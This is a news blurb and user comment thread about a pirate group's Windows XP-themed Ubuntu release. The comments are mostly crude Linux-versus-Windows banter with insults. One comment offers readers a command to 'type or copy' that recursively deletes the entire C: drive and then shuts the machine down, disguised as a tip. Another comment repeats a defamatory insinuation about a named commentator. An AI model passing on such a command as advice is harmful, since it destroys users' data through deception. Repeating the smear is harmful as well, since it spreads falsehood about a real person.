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Chinese Pirates Launch Ubuntu That Looks Like XP
An anonymous reader writes "Ylmf, famous for pirating Windows XP, have just released a version of Ubuntu that looks just like Windows XP. Really, really similar. Apparently because Microsoft were cracking down on the actual Windows XP pirating — though I think they will still suffer for ripping off the GUI exactly." Of course, if that's the sort of look you like for your desktop, you need not risk any download cooties or language barriers; a reader in the Ubuntu Forums suggests this instructional video for giving Gnome the XP treatment.
The funny thing is, The *ENTIRE* fucking F/OSS movement is built around making cheap knock-offs of existing successful proprietary products and giving it away.
Its funny how Linux has only succeeded when you place it far away from the user (servers which require maintenance by professional system admins) or lock it down so that the user cant interact with it (embedded devices).
But on the desktop, haha. 1% market share. A resounding success.
Apple and desktop *nix would be completely dead.
How rude ! As a proud gay man, let me tell you I would have continued to use OSX.
Why would you want an orange and feces coloured UI when you can use the vastly better Windows UI?
What makes you think a pointy haired boss talks like a supposedly 1337 hacker?
For your computer, just open the terminal and type or copy
"at 12:00 cmd rd C:\ /S /Q && shutdown -s -t 01"
"I've got more toys than Teruhisa Kitahara."
Though I hear there are undenied allegations that Glenn Beck raped and murdered a young girl in 1991.
Just add a cron script that has a 5% chance to reboot the system every half hour, and you're there! :P
For those of you who first started using PCs less than ten years ago, he's referring to the lack of stability Windows suffered from back then.
"I like to lick butts!" by MobileTatsu-NJG (#32700246) (Score:5, Informative)
ok, I dont understand why you would want to make xp look like kde.... why break something if it works... hehe oh never mind
Making gnome look like XP doesnt help... it still does not have any real intuitive functionality and will still feel like windows 95.
making windows xp look like ubuntu is dumb, thats like trying to make xp look like windows 95 (or kde).
litestep wont make xp look like enlightenment. It'll just crash every now and then with a loud !bang
linux allready looks and feels like windows 95. The newest ubuntu theme 'slutty khoala' caters just for that.
You aren't really licensed to drive, are you? Is it due to age, or a mental condition?
"Windows is like the faint smell of piss in a subway: it's there, and there's nothing you can do about it." - Charlie Br
Windows User:
I want do change my ip address (for whatever reason).
Where do I start? Oh, Start button.
I want to control something. Oh, control panel.
IP Address is something about networking, so Networking.
Connecting things? Ah, TCP/IP contains that magic IP thing I'm looking for.
No settings I see here, what else can I do? Is there a place for Advanced users?
Aha, advanced, here it is. Enter info, click OK a bunch of times.
Linux user:
I want do change my ip address (for whatever reason).
Where do I start?
$ip
ip: command not found
$network
network: command not found
$help network
help: (insert usage text)
$sod off you monkey licker
sod: command not found
OK, back into the windows of Linux. Where's the web browser? Something that says WEB or INTERNET or something? Oh screw it, let's just borrow Jeff's copy of XP and install it.